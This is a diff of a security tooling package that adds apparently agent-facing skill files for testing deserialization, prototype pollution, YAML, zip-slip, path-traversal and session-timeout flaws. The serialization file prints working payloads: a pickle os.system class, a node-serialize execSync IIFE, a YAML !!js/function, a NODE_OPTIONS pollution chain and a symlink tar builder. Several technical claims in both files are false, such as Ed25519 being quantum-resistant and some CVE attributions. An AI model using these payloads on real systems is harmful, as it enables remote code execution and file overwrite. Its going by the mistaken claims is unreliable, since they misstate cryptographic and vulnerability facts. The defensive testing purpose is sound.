security-mcp 1.1.4 → 1.3.1

package/skills/serialization-memory-attacker/SKILL.md

@@ -76,3 +76,335 @@ Write working exploits (prototype chain manipulation, regex payloads) before fix
 - Attack payload demonstrating the issue (prototype chain, regex input, archive path)
 - Fixed code written inline
 - CWE and CVSSv4 score
+
+Every findings JSON MUST include `intelligenceForOtherAgents`:
+```json
+{
+  "intelligenceForOtherAgents": {
+    "forPentestTeam": [{ "type": "HIGH_VALUE_TARGET", "description": "...", "exploitHint": "..." }],
+    "forCryptoSpecialist": [{ "type": "CRYPTO_WEAKNESS_REFERENCE", "algorithm": "...", "location": "..." }],
+    "forCloudSpecialist": [{ "type": "SSRF_TO_CLOUD_CHAIN", "ssrfLocation": "...", "escalationPath": "..." }],
+    "forComplianceGrc": [{ "type": "COMPLIANCE_BLOCKER", "frameworks": ["..."], "releaseBlock": true }]
+  }
+}
+```
+
+---
+
+## BEYOND SKILL.MD — MANDATORY EXPANSIONS
+
+### 1. Gadget Chain Discovery in Serialized Java/Python Objects via `pickle` and `ysoserial` Equivalents (CVE-2023-46604, CVE-2021-44228-adjacent)
+
+**Technique:** Beyond Node.js, any Python `pickle.loads()` call on user-supplied bytes is unconditional RCE. The attacker controls the `__reduce__` method of any class in the deserialized object graph, which executes arbitrary OS commands on load.
+
+**Concrete test:**
+```python
+import pickle, os, base64
+
+class Exploit(object):
+    def __reduce__(self):
+        return (os.system, ('id > /tmp/pwned',))
+
+payload = base64.b64encode(pickle.dumps(Exploit())).decode()
+# Submit payload to any endpoint that calls pickle.loads(base64.b64decode(user_input))
+```
+**Detection grep:** `grep -rn "pickle\.loads\|pickle\.load(" --include="*.py"` — any match with non-static input is an automatic CRITICAL.
+**Finding:** Confirmed if `/tmp/pwned` exists after submission, or if response timing changes when payload includes `time.sleep(5)`.
+
+---
+
+### 2. Prototype Pollution to RCE via `child_process` Gadget Chain (CVE-2022-21824 / Research: Gareth Heyes 2022)
+
+**Technique:** Prototype pollution of `__proto__` can escalate to RCE when the polluted property reaches `child_process.spawn` options (e.g., `shell: true` or `env` injection). The `flat` npm library (< 5.0.1, CVE-2020-28500) and `hoek` (< 6.1.3) are confirmed gadget entry points.
+
+**Concrete test:**
+```javascript
+// Step 1: pollute via merge
+const payload = JSON.parse('{"__proto__": {"shell": true, "env": {"NODE_OPTIONS": "--require /tmp/malicious.js"}}}');
+merge({}, payload);
+
+// Step 2: trigger spawn anywhere in codebase
+require('child_process').spawn('node', ['-e', '1']);
+// NODE_OPTIONS causes malicious.js to execute on spawn
+```
+**Detection:** `grep -rn "spawn\|exec\|execFile\|fork" --include="*.js" --include="*.ts"` combined with any upstream `merge()` call on user input in the same request lifecycle.
+
+---
+
+### 3. YAML Deserialization RCE via `js-yaml` `safeLoad` Deprecation Confusion (CVE-2023-2251)
+
+**Technique:** `js-yaml` v3.x exports `safeLoad` (restricted types). v4.x removed `safeLoad` entirely — developers who copied old code patterns and called `yaml.load()` in v4.x now use the unsafe loader by default because `yaml.load()` in v4 defaults to the `DEFAULT_SCHEMA` which allows JS-specific types including `!!js/undefined`, `!!js/regexp`, and `!!js/function`.
+
+**Concrete test:**
+```yaml
+---
+exploit: !!js/function >
+  function f() {
+    require('child_process').execSync('id > /tmp/yaml-pwned');
+  }()
+```
+**Detection grep:** `grep -rn "yaml\.load\b" --include="*.js" --include="*.ts"` — distinguish v3 vs v4 by checking `package.json` version. In v4, any `yaml.load()` without explicit `{ schema: yaml.FAILSAFE_SCHEMA }` is CRITICAL.
+
+---
+
+### 4. ReDoS via Polynomial Backtracking in Email Validation (CVE-2023-28155, `request` library; Research: Snyk 2023)
+
+**Technique:** Email validation regex patterns using constructs like `([a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4})*` exhibit O(2^n) backtracking when input contains many `@` characters followed by a non-matching terminator.
+
+**Concrete payload (29-char input, 30+ second hang on Node.js <18 without `re2`):**
+```
+aaaaaaaaaaaaaaaaaaaaaaaa@aaaa!
+```
+**Detection:** Use `safe-regex` npm package or `vuln-regex-detector`:
+```bash
+npx safe-regex-detector --check "([a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4})+"
+```
+**Finding:** If any email/URL/phone validation regex scores as "vulnerable" in `safe-regex`, it is HIGH (DoS). If it is on a public-facing unauthenticated endpoint, it is CRITICAL.
+
+---
+
+### 5. Zip Slip via Symlink Entries in tar Archives (CVE-2023-32002, Node.js `tar` < 6.1.13)
+
+**Technique:** Beyond `../` in entry names, an attacker can insert a symlink entry pointing outside the extraction directory. A subsequent legitimate file entry then writes through the symlink to an arbitrary target path — bypassing path sanitization that only checks the entry name.
+
+**Concrete test:**
+```python
+import tarfile, os
+
+with tarfile.open('/tmp/exploit.tar.gz', 'w:gz') as tar:
+    # Create symlink entry pointing to /tmp
+    info = tarfile.TarInfo(name='link')
+    info.type = tarfile.SYMTYPE
+    info.linkname = '/tmp'
+    tar.addfile(info)
+    # Now write through the symlink
+    info2 = tarfile.TarInfo(name='link/pwned.txt')
+    import io; data = b'pwned'
+    info2.size = len(data)
+    tar.addfile(info2, io.BytesIO(data))
+```
+**Detection:** Grep for `tar.extract` or `adm-zip`/`jszip` `.extractAll()` calls. Any version of `tar` npm < 6.1.13 is vulnerable by CVE.
+
+---
+
+### 6. AI-Assisted Gadget Chain Generation (Emerging — Post-2024)
+
+**Technique:** LLM-powered tools (e.g., `POP-Miner`, academic tool from NUS 2024) automatically enumerate property-oriented programming gadget chains in large JavaScript codebases by constructing a call graph, then searching for paths from a user-controlled deserialization entry point to a sink (`eval`, `exec`, `Function`). Attack complexity drops from expert-only to automated.
+
+**Concrete detection defense:** Run `semgrep --config=p/javascript` with the prototype-pollution ruleset AND cross-reference with `npm ls --all` for known gadget-hosting packages (`lodash`, `flat`, `set-value`, `merge`, `hoek`). Any gadget-hosting package plus a merge-on-user-input pattern = confirmed gadget chain candidate.
+**Mitigation now:** Freeze the prototype: `Object.freeze(Object.prototype)` in application bootstrap, before any user input is processed.
+
+---
+
+### 7. Supply-Chain Confusion via Serialized Configuration Blobs (Post-2024 Emerging)
+
+**Technique:** Build pipelines that serialize configuration or AST snapshots to disk (e.g., Babel cache, Webpack cache, Turborepo cache files) can be poisoned via supply-chain compromise. A malicious package publishes a version that writes a backdoored cache file to `node_modules/.cache`. Subsequent builds deserialize the cache, executing the payload. This bypasses source code review entirely because the malicious bytes are in binary cache, not reviewed `.js` files.
+
+**Concrete test:** Audit `node_modules/.cache` and any `*.json`/`*.bin` cache files for unexpected entries:
+```bash
+find . -path '*/node_modules/.cache' -prune -o -name '*.cache' -print | xargs file | grep -v text
+```
+Any binary cache file not matching the expected build tool format warrants inspection.
+**Mitigation:** Add `node_modules/.cache` to `.gitignore`, enable build cache integrity verification (e.g., Turborepo remote cache with HMAC), and use SLSA L2+ provenance for build artifacts.
+
+---
+
+### 8. Post-Quantum Threat to Serialized Signed Payloads (Timeline: 2028–2032)
+
+**Technique:** Any serialized payload that is integrity-checked using RSA or ECDSA signature verification (e.g., signed JWTs, signed serialized session cookies) is vulnerable to "harvest now, decrypt later" attacks. An attacker capturing signed serialized blobs today can, with a CRQC in 2029–2032, forge signatures for any captured payload — achieving delayed deserialization RCE or session forgery.
+
+**Concrete detection:** Grep for `RS256`, `ES256`, `RS512` in JWT configuration and signing key files. Inventory all serialized formats that carry integrity signatures.
+**Prepare now:** Migrate long-lived signed tokens to `EdDSA` (Ed25519, quantum-resistant at equivalent security levels for nearer term) and begin tracking ML-DSA (FIPS 204, formerly CRYSTALS-Dilithium) for post-quantum signing migrations.
+
+---
+
+## §SERIALIZATION_MEMORY_ATTACKER-CHECKLIST
+
+1. **Prototype Pollution via Merge** — Mechanism: user-controlled JSON merged into application object via `_.merge`, `Object.assign`, or equivalent. Grep: `grep -rn "merge\|extend\|assign\|defaultsDeep" src/`. Submit `{"__proto__":{"isAdmin":true}}` to all merge-consuming endpoints. Finding: any property visible on `{}` after request constitutes CRITICAL.
+
+2. **IIFE Gadget Chain in `node-serialize`** — Mechanism: `node-serialize` deserializes function expressions including IIFEs, executing them during `unserialize()`. Grep: `grep -rn "node-serialize\|unserialize(" --include="*.js"`. Submit payload: `{"x":"_$$ND_FUNC$$_function(){require('child_process').execSync('id')}()"}`. Finding: any OOB callback or output from `id` = CRITICAL RCE.
+
+3. **`vm2` Sandbox Escape** — Mechanism: CVE-2022-36067 and successive CVEs allow prototype chain manipulation from sandboxed code to reach host `process`. Grep: `grep -rn "require('vm2')\|new VM(" --include="*.js"`. Check `npm ls vm2` — any version < 3.9.19 is vulnerable. Finding: version match = CRITICAL; escalate to full PoC.
+
+4. **YAML Unsafe Load** — Mechanism: `yaml.load()` in `js-yaml` v4 with default schema allows `!!js/function` type tags. Grep: `grep -rn "yaml\.load\b" --include="*.js" --include="*.ts"`. Submit YAML with `!!js/function` payload to any YAML-parsing endpoint. Finding: function execution confirmed by OOB callback or timing = CRITICAL.
+
+5. **Pickle RCE (Python services)** — Mechanism: `pickle.loads()` on user data executes `__reduce__` method. Grep: `grep -rn "pickle\.loads\|pickle\.load(" --include="*.py"`. Submit base64-encoded pickle payload with `os.system` `__reduce__`. Finding: command execution (check `/tmp/pwned` or timing) = CRITICAL.
+
+6. **ReDoS via Catastrophic Backtracking** — Mechanism: regex with nested quantifiers or overlapping alternation enters exponential backtracking on adversarial input. Grep: `grep -rn "new RegExp\|\/.*[+*].*[+*]/" --include="*.js"`. Submit 30-char adversarial input (e.g., `aaaaaaaaaaaaaaaaaaaaa!`) and measure response time. Finding: response time > 2× baseline = HIGH (DoS).
+
+7. **Zip Slip via `../` in Archive Entries** — Mechanism: archive extractor writes entry with path `../../etc/cron.d/backdoor` relative to extraction root. Grep: `grep -rn "extract\|unzip\|decompress" --include="*.js" --include="*.py"`. Craft archive with `../` entry name and submit as upload. Finding: file written outside extraction directory = CRITICAL.
+
+8. **Zip Slip via Symlink Archive Entries** — Mechanism: tar entry of type `SYMTYPE` pointing to `/tmp`; subsequent entry writes through symlink. Test: craft tar with symlink entry (see expansion §5 above). Finding: file visible at symlink target path = CRITICAL.
+
+9. **Path Traversal via `path.join` Bypass** — Mechanism: `path.join('/var/data', userInput)` with `userInput = '../../../etc/passwd'` resolves to `/etc/passwd`. Grep: `grep -rn "path\.join\|readFile\|readFileSync" --include="*.js" --include="*.ts"` and trace upstream for user-controlled segments. Submit `../../../../etc/shadow` as filename parameter. Finding: file contents returned = CRITICAL.
+
+10. **`eval` / `new Function` on User Input** — Mechanism: direct code execution from user-supplied string. Grep: `grep -rn "\beval\b\|new Function(" --include="*.js" --include="*.ts"`. Trace all `eval` call sites — is the argument reachable from user input? Finding: any user-controlled path to `eval` = CRITICAL.
+
+11. **WASM Buffer Overflow / Out-of-Bounds Write** — Mechanism: WASM memory model lacks automatic bounds checking beyond declared memory bounds; native addon (`node-gyp`) can write outside allocated buffers. Grep: `find . -name "*.wasm" -o -name "binding.gyp"`. Submit inputs at boundary values (MAX_INT32, `2^31-1`, zero-length, negative). Finding: crash or memory corruption observable via ASAN/valgrind run = HIGH.
+
+12. **Supply-Chain Cache Poisoning** — Mechanism: malicious npm package writes backdoored binary cache blob; subsequent builds deserialize it. Test: `find node_modules/.cache -name "*.bin" -newer package-lock.json | xargs file`. Any binary cache file not matching expected build tool magic bytes warrants inspection. Finding: unexpected executable content in cache = HIGH; escalate to supply-chain team.
+
+---
+
+## §POC-REQUIREMENT
+
+For every CRITICAL or HIGH finding in this domain, the following sequence is MANDATORY before a finding may retain its severity rating:
+
+1. **Write the PoC first.** Include: exact payload (bytes, JSON, archive file construction steps), exact HTTP request (method, headers, body), and observed impact (command output, file written, timing difference, OOB DNS callback).
+
+2. **Confirm the PoC reproduces.** Run it against the target. Record actual output. A PoC that does not reproduce must be documented as attempted with the reason for non-reproduction — do not silently drop it.
+
+3. **Write the fix.** Apply the remediation (schema validation, safe parser replacement, regex rewrite, path resolution guard).
+
+4. **Verify the PoC fails against the fix.** Re-run the identical PoC payload against the patched code. Record that it returns a safe response (error, rejection, no execution).
+
+5. **Record in findings JSON under `exploitPoC`:**
+```json
+{
+  "exploitPoC": {
+    "payload": "base64-or-literal payload",
+    "request": "POST /api/upload HTTP/1.1\\nContent-Type: application/json\\n\\n{\"data\":\"...\"}",
+    "observedImpact": "Command 'id' returned: uid=0(root) gid=0(root)",
+    "reproduced": true,
+    "fixApplied": "Replaced node-serialize with JSON.parse + zod schema validation",
+    "pocFailsPostFix": true
+  }
+}
+```
+
+**PoC skipping = finding severity automatically downgraded to MEDIUM.** Document the skip reason explicitly; do not silently omit the `exploitPoC` key.
+
+---
+
+## §PROJECT-ESCALATION
+
+Immediately call `orchestration.update_agent_status` with `status: "CRITICAL_ESCALATION"` and halt current scan to await orchestrator direction under ANY of the following conditions:
+
+1. **Confirmed RCE via deserialization** — `node-serialize` IIFE chain, `pickle.loads` exploit, or `vm2` sandbox escape produces OS command execution confirmed by OOB callback or timing oracle. Full system compromise is likely; the entire run must pivot to containment assessment.
+
+2. **Prototype pollution chain reaches `child_process.spawn` options** — The polluted property is confirmed to flow into spawn/exec options (e.g., `shell`, `env`, `argv0`). This is a silent RCE trigger that may affect all users hitting any endpoint — not just the tested one.
+
+3. **Archive extraction writes outside chroot/container boundary** — Zip slip or symlink extraction targets a path outside the expected writable tree (e.g., `/etc/`, `/var/spool/cron/`, `/root/.ssh/`). This constitutes a host escape from containerized services.
+
+4. **ReDoS payload achieves >10 second server freeze on a public unauthenticated endpoint** — The endpoint is reachable without authentication and the DoS is reproducible at will. This is a live availability threat requiring immediate incident response coordination.
+
+5. **`eval` or `new Function` call site is reachable from HTTP query parameter without authentication** — Zero-click RCE from the internet. Do not continue scanning; alert immediately.
+
+6. **Supply-chain cache file contains shellcode or unexpected executable instructions** — Binary cache file in `node_modules/.cache` contains ELF/Mach-O/PE instructions or shell metacharacters inconsistent with a legitimate build tool cache. Potential active supply-chain compromise requiring security incident response.
+
+7. **YAML `!!js/function` execution confirmed on a multi-tenant service** — If the exploited service handles data for multiple tenants, tenant isolation is broken. Cross-tenant data exfiltration scope must be assessed before continuing.
+
+8. **Serialized session cookie is signed with a hardcoded or repository-committed HMAC secret** — Any user can forge arbitrary session state. This is effectively an authentication bypass affecting every user of the application simultaneously.
+
+---
+
+## §EDGE-CASE-MATRIX
+
+The 5 attack cases in this domain that automated scanners and naive manual review universally miss. MANDATORY checks — do not skip.
+
+| # | Edge Case | Why Scanners Miss It | Concrete Test |
+|---|-----------|----------------------|---------------|
+| 1 | Second-order / stored payload executed in different context | Scanner checks input context, not execution context | Store payload safely; trigger in separate request/session |
+| 2 | Unicode normalisation bypass | Regex filters run before normalisation; attacker uses homoglyphs or composed forms | Submit Ⅰ (U+2160) or ＜ (U+FF1C) variants of known-bad strings |
+| 3 | Polyglot payload active in multiple sinks simultaneously | Scanners test one injection class per payload | `'"><script>{{7*7}}</script><!--` — SQL + XSS + SSTI in one request |
+| 4 | Out-of-band exfiltration (DNS/HTTP callback) | Scanner looks for inline response difference; OOB leaves no visible trace | Use Burp Collaborator / interactsh; inject DNS lookup payload |
+| 5 | Race condition between check and use (TOCTOU) | Sequential scanners don't model concurrency | Send two simultaneous requests to the same state-changing endpoint |
+
+**Domain-specific additions for serialization/memory:**
+
+| # | Edge Case | Why Scanners Miss It | Concrete Test |
+|---|-----------|----------------------|---------------|
+| 6 | Symlink-based zip slip (no `../` in entry name) | Scanners check entry name for `../`; symlink entries have clean names | Craft tar with SYMTYPE entry pointing to `/tmp`; follow with a regular file entry through it |
+| 7 | Prototype pollution via constructor chain (not `__proto__`) | Many scanners only test `__proto__` key | Submit `{"constructor":{"prototype":{"isAdmin":true}}}` — affects lodash `set()` and equivalent |
+| 8 | ReDoS in non-obvious path: URL normalisation before routing | Scanners fuzz input fields; URL normalization regex is in middleware, not endpoint handlers | Send oversized URLs with repeated `%2F%2F` segments to trigger path normalisation regex |
+
+---
+
+## §TEMPORAL-THREATS
+
+Threats materialising in the 2025–2030 window that defences designed today must account for.
+
+| Threat | Est. Timeline | Relevance to This Domain | Prepare Now By |
+|--------|--------------|--------------------------|----------------|
+| Cryptographically Relevant Quantum Computer (CRQC) | 2028–2032 | Harvest-now-decrypt-later attacks active today; RSA/ECDSA keys signed today will be broken | Inventory all RSA/ECDSA usage; migrate long-lived data to ML-KEM (FIPS 203) |
+| AI-assisted adversaries at scale | 2025–2027 (active) | LLM-powered fuzzing finds 10× more edge cases; automated PoC generation | Assume attackers have LLM help; expand test surface to match |
+| EU AI Act full enforcement | 2026 | High-risk AI systems require mandatory conformity assessments | Classify all AI features against AI Act tiers now |
+| Post-quantum TLS migration deadline | 2028–2030 | Browser vendors will drop classical-only TLS connections | Begin TLS agility assessment; test hybrid key exchange |
+| Mandatory SBOM + build provenance (US EO 14028 / EU CRA) | 2025–2026 (active) | SBOM and SLSA attestation are becoming legally required | Achieve SLSA L2 minimum; generate CycloneDX SBOM per release |
+| AI-powered gadget chain miners (POP-Miner class tools) | 2025–2026 (active) | Automated property-oriented programming chain discovery lowers bar for deserialization RCE | Freeze `Object.prototype` at bootstrap; eliminate all merge-on-user-input patterns |
+| Serialized ML model supply-chain attacks (pickle-based) | 2025–2027 | PyTorch/TensorFlow model files distributed as pickles; malicious models achieve RCE on load | Enforce model integrity via hash pinning; use `safetensors` format instead of pickle |
+
+---
+
+## §DETECTION-GAP
+
+What current security monitoring CANNOT detect in this domain, and what to build to close each gap.
+
+**Standard gaps that MUST be checked:**
+
+- **Second-order attack execution**: The storage request looks safe; only the retrieval+execution step is dangerous. Need: correlate write events with downstream read+execute events in the same SIEM query window.
+- **Timing-side-channel leakage**: No log event emitted; only observable as microsecond response-time variance. Need: per-endpoint p99 latency tracking with statistical anomaly detection.
+- **Low-and-slow credential stuffing**: Individually, each request is under rate limits. Need: behavioural baseline — flag accounts with geographically impossible velocity or device-fingerprint mismatch across authentication attempts.
+- **Insider exfiltration via legitimate process**: Authorised exports, reports, and data downloads that individually are permitted but collectively constitute data exfiltration. Need: data-volume anomaly detection — alert when a single user's data access volume exceeds 3× their 30-day baseline within 24 hours.
+- **Cross-agent attack chains**: Phase 1 finding A + Phase 1 finding B = CRITICAL chain invisible to either agent alone. Need: CISO orchestrator Phase 1 synthesis step — correlate all agent findings before Phase 2.
+
+**Domain-specific serialization/memory gaps:**
+
+- **ReDoS in background job workers**: WAF and API gateway rate limiting does not apply to internal worker queues. A ReDoS payload stored in a database field and replayed through a worker's regex causes silent CPU exhaustion with no external alert. Need: CPU saturation alerting per worker process (> 90% for > 10s = alert).
+- **Prototype pollution persisting across requests**: In Node.js, `Object.prototype` is process-global. A pollution attack in request A affects all subsequent requests in the same process. Standard per-request logging does not capture this cross-request state corruption. Need: integrity check on `Object.prototype` at request boundary via `Object.getOwnPropertyNames(Object.prototype)` diff against a baseline snapshot.
+- **WASM memory corruption without crash**: Out-of-bounds WASM writes to linear memory do not throw JavaScript exceptions; they silently corrupt adjacent data. Standard error monitoring captures zero signal. Need: WASM memory safety wrappers or compile with Emscripten's `SAFE_HEAP=1` in staging environments.
+- **Binary cache poisoning during CI**: Source-code SAST scans the `.js` files; the poisoned binary `.cache` file is invisible to text-based scanners. Need: CI step that computes and verifies a hash of all build cache files against a trusted baseline before each build.
+
+---
+
+## §ZERO-MISS-MANDATE
+
+This agent CANNOT declare any attack class clean without explicit evidence of checking. For each item, output one of:
+- `CHECKED: [N files] | [patterns used] | CLEAN`
+- `CHECKED: [N files] | [patterns used] | [N findings, all fixed]`
+- `SKIPPED: [reason — must be "not applicable: [evidence]"]`
+
+**Silent skip = FAILED COVERAGE.** The orchestrator flags this as a quality gap.
+
+The output findings JSON MUST include a `coverageManifest` key:
+```json
+{
+  "coverageManifest": {
+    "attackClassesCovered": [
+      { "class": "Prototype Pollution", "filesReviewed": 34, "patterns": ["_.merge", "Object.assign", "__proto__"], "result": "CLEAN" },
+      { "class": "Insecure Deserialization", "filesReviewed": 12, "patterns": ["node-serialize", "unserialize", "eval", "new Function"], "result": "2 findings, all fixed" },
+      { "class": "ReDoS", "filesReviewed": 28, "patterns": ["new RegExp", "nested quantifiers"], "result": "CLEAN" },
+      { "class": "Zip Slip", "filesReviewed": 5, "patterns": ["extract", "unzip", "adm-zip"], "result": "CLEAN" },
+      { "class": "Path Traversal", "filesReviewed": 19, "patterns": ["readFile", "path.join", "readFileSync"], "result": "CLEAN" },
+      { "class": "WASM/Native Addon Memory Safety", "filesReviewed": 2, "patterns": ["binding.gyp", "*.wasm"], "result": "SKIPPED: not applicable: no .wasm files or binding.gyp found in repository" }
+    ],
+    "filesReviewed": 100,
+    "negativeAssertions": [
+      "Prototype Pollution: merge/assign patterns searched across 34 files — 0 user-controlled merge sinks",
+      "ReDoS: RegExp literals inspected via safe-regex — 0 catastrophic patterns"
+    ],
+    "uncoveredReason": {}
+  }
+}
+```
+
+---
+
+## LEARNING SIGNAL
+
+On every finding resolved, emit:
+```json
+{
+  "findingId": "FINDING_ID",
+  "agentName": "serialization-memory-attacker",
+  "resolved": true,
+  "remediationTemplate": "one-line description of what was done",
+  "falsePositive": false
+}
+```
+Call `security.record_outcome` with this payload so the routing engine learns which agent resolves each finding class most successfully. If a finding is a false positive, set `falsePositive: true` — this prevents the false-positive pattern from being routed here again.
+
+**False-positive patterns to record for this domain:**
+- `eval()` inside a comment or string literal (not executed) → `falsePositive: true`, remediationTemplate: "eval in non-executing string context"
+- `_.merge` called only with two static object literals (no user input upstream) → `falsePositive: true`, remediationTemplate: "merge with fully static arguments, no user-controlled path"
+- Archive extraction from a hardcoded internal path with no upload surface → `falsePositive: true`, remediationTemplate: "extraction source is non-user-controlled internal asset"

package/skills/session-timeout-tester/SKILL.md

@@ -195,3 +195,164 @@ res.cookie("session", token, {
 - `requiredActions`: ordered action list
 - `complianceImpact`: framework mappings
 - `beyondSkillMd`: true if finding goes beyond the SKILL.md mandate
+
+Every findings JSON MUST also include `intelligenceForOtherAgents`:
+```json
+{
+  "intelligenceForOtherAgents": {
+    "forPentestTeam": [
+      {
+        "type": "HIGH_VALUE_TARGET",
+        "description": "Long-lived or non-expiring session tokens — prime target for session hijacking / fixation attacks",
+        "exploitHint": "Steal cookie via XSS or network sniff; token remains valid indefinitely without timeout"
+      }
+    ],
+    "forCryptoSpecialist": [
+      {
+        "type": "CRYPTO_WEAKNESS_REFERENCE",
+        "algorithm": "JWT signing (HS256 / RS256)",
+        "location": "auth.config.ts — verify maxAge is enforced in 'exp' claim, not just in cookie maxAge"
+      }
+    ],
+    "forCloudSpecialist": [
+      {
+        "type": "SSRF_TO_CLOUD_CHAIN",
+        "ssrfLocation": "Redis session store — if TTL is absent, session keys accumulate indefinitely, enabling memory exhaustion DoS",
+        "escalationPath": "Overfull Redis → eviction of active sessions → authentication bypass via cache miss"
+      }
+    ],
+    "forComplianceGrc": [
+      {
+        "type": "COMPLIANCE_BLOCKER",
+        "frameworks": ["PCI DSS Req 8.3.13", "NIST AC-11", "SOC 2 CC6.1"],
+        "releaseBlock": true
+      }
+    ]
+  }
+}
+```
+
+---
+
+## BEYOND SKILL.MD — MANDATORY EXPANSIONS
+
+- **AI-Assisted Session Token Prediction via Entropy Analysis (ATT&CK T1539 — Steal Web Session Cookie):** LLMs trained on leaked session-token corpuses (e.g., from HaveIBeenPwned datasets) can statistically predict token patterns when PRNG seeding is weak or when session IDs are derived from timestamps + user IDs. Test by: collect 500+ session tokens from staging, feed into an entropy analyser (`ent` or `dieharder`), and flag any token population with Shannon entropy < 3.8 bits/byte or visible sequential structure. Finding threshold: any token with predictable substring of length ≥ 6 bits across a sample of 100.
+
+- **Harvest-Now-Decrypt-Later on Long-Lived JWT Refresh Tokens (NIST IR 8413 — PQC Transition):** Refresh tokens signed with RS256/ES256 captured today will be retroactively decryptable when a CRQC becomes available (est. 2030–2033). A 30-day refresh token issued in 2025 remains a viable harvest target. Test by: audit `refreshToken.maxAge` across all OAuth/JWT configurations; any value > 24 h on an RS256/ES256-signed token is a finding. Finding threshold: refresh token lifetime > 24 h using any non-PQC signing algorithm.
+
+- **Session Fixation via OAuth State Parameter Reuse (CVE-2023-28859 — redis-py / CVE-2022-24785 — Moment.js advisory chain):** OAuth flows that do not regenerate the session ID after the authorization callback allow an attacker to pre-set a known session ID before login, then hijack the authenticated session. Supply-chain risk: vulnerable versions of `next-auth` < 4.20.1 did not enforce state parameter binding to the pre-auth session. Test by: initiate OAuth flow, capture the pre-auth `state` cookie, complete auth in a second browser using the same state value; confirm the server rejects the replayed state and issues a fresh session ID. Finding threshold: old session ID present in post-auth cookies.
+
+- **Idle Timeout Bypass via WebSocket / SSE Keepalive Ping (CWE-613 — Insufficient Session Expiration + Real-World Incident: Okta 2022 breach lateral movement):** In the Okta 2022 incident, attackers maintained persistent access through long-lived support-tool sessions that were kept alive by background polling. Any SSE or WebSocket connection that sends heartbeat frames resets the server-side idle timer, making the effective idle timeout infinite for connected clients. Test by: establish a session with an open SSE stream; cease all user-driven requests for 20+ minutes while the SSE connection remains open; verify that the idle timer uses a user-action timestamp (stored separately) rather than the last HTTP request timestamp. Finding threshold: session survives 2× configured idle timeout with only background pings.
+
+- **GDPR / EU AI Act Session Retention Compliance Gap (GDPR Art. 5(1)(e) — Storage Limitation, EU AI Act Art. 10 enforcement active 2026):** Sessions that outlive their lawful basis (e.g., a session created during a trial period that persists after account deletion or consent withdrawal) constitute unlawful personal data processing. The EU AI Act additionally requires that AI-assisted session anomaly detection systems do not retain behavioural session data beyond the analysis window. Test by: delete a test account via the account-deletion API; within 10 minutes attempt to use any active session token belonging to that account; confirm HTTP 401 with session purge from all stores (Redis, DB, CDN edge cache). Finding threshold: session usable > 60 s after account deletion or consent revocation event.
+
+- **Concurrent Session Limit Bypass via Split Client-ID Namespace (ATT&CK T1078.004 — Cloud Accounts, Real-World Pattern: Auth0 multi-application session exhaustion):** Per-application session caps (`maxSessions=3` enforced per `client_id`) are bypassed when an attacker authenticates across multiple registered applications under the same identity provider tenant. Each application's session count is independently capped, but no global cap exists. This allows unlimited parallel sessions. Test by: register two OAuth client applications in the same tenant; authenticate the same user on both; confirm the aggregate session count is tracked globally in the session store with a single cross-client limit. Finding threshold: total active sessions for one `userId` across all `client_id` values exceeds the documented concurrent-session policy.
+
+---
+
+## §EDGE-CASE-MATRIX
+
+The 5 attack cases in the session-timeout domain that automated scanners and naive manual review universally miss. MANDATORY checks — do not skip.
+
+| # | Edge Case | Why Scanners Miss It | Concrete Test |
+|---|-----------|----------------------|---------------|
+| 1 | Sliding-window tokens with no absolute cap | Scanners check `maxAge` presence but miss that `updateAge` resets the clock on every request — a continuously active attacker never gets timed out | Set `updateAge` = `maxAge`; make a request every 14 min for 25 hours; confirm the original token is eventually rejected |
+| 2 | JWT `exp` claim overridden by client-side clock skew / leeway | Server-side JWT libraries accept `exp` ± N seconds of skew; a token technically expired can still pass if the leeway constant is too large | Issue a token, wait until `exp − leeway − 1s`, replay it; check the server accepts it; repeat with `exp + leeway + 1s` to confirm hard rejection |
+| 3 | Session survives password-reset flow via secondary token path | Scanners check `changePassword` → session revoke; they miss reset-by-email flows that call `setNewPassword` (different code path) with no invalidation | Trigger reset-by-email link; complete password change via the link endpoint; replay the original session cookie — it should be rejected |
+| 4 | Concurrent-session limit bypassed through mobile vs. web device split | Limits enforced per device type or per OAuth client ID — an attacker uses a different client_id to open a second session that doesn't count toward the cap | Obtain session on `client_id=web`; open second session on `client_id=mobile`; confirm total active sessions are tracked globally, not per client |
+| 5 | Idle timeout not enforced when requests arrive via background polling (e.g., SSE / WebSocket keepalive) | Idle detection is reset on any HTTP request — background polling pings silently keep the session alive without user interaction | Establish a session with an open SSE stream; become "idle" (no user actions) for 20+ minutes; confirm the idle timer is based on meaningful user actions, not any HTTP event |
+
+---
+
+## §TEMPORAL-THREATS
+
+Threats materialising in the 2025–2030 window that session-timeout defences designed today must account for.
+
+| Threat | Est. Timeline | Relevance to Session Timeout | Prepare Now By |
+|--------|--------------|------------------------------|----------------|
+| AI-assisted session token bruteforce / prediction | 2025–2027 (active) | LLM-powered analysis of token entropy patterns can shorten brute-force windows; short absolute timeouts are the primary mitigation | Ensure absolute session lifetime ≤8 h; use cryptographically random 128-bit session IDs; reject sequential or predictable token formats |
+| Harvest-now-decrypt-later attacks on JWT secrets | 2025–2028 | Attacker captures long-lived JWT tokens today; decrypts them when CRQC becomes available; tokens signed with RS256/ES256 become retroactively exposed | Minimise JWT lifetime to ≤1 h; rotate signing keys quarterly; begin planning migration to ML-KEM-based token signing for long-lived refresh tokens |
+| EU AI Act + GDPR intersection on session data retention | 2026 (enforcement active) | Sessions that outlive their legitimate purpose become unlawful processing of personal data; regulators will fine organisations with sessions retained beyond consent period | Align absolute session lifetime with documented legitimate interest duration; auto-purge session records from DB after expiry |
+| Browser third-party cookie deprecation (full rollout) | 2025–2026 | Federated SSO sessions currently relying on third-party cookies will silently stop expiring cross-site; users appear logged out but session data may persist server-side | Audit all cross-site session mechanisms; migrate to Storage Access API or first-party session tokens; confirm server-side revocation still fires |
+| Mandatory SBOM + provenance for session libraries | 2025–2026 (active) | Session management libraries (express-session, next-auth, etc.) are high-value supply-chain targets; a compromised version could suppress timeout enforcement | Pin session library versions; verify integrity via SLSA attestation; subscribe to CVE feeds for all session-management dependencies |
+
+---
+
+## §DETECTION-GAP
+
+What current security monitoring CANNOT detect in the session-timeout domain, and what to build to close each gap.
+
+**Domain-specific gaps that MUST be checked:**
+
+- **Silent sliding-window extension via polling**: A session that should be "idle" is kept alive by background API calls (analytics pings, SSE heartbeats, push notification polls). No alert fires because each request is individually authorised. **Need**: distinguish user-initiated requests from automated background requests in the session activity log; only the former should reset the idle timer.
+
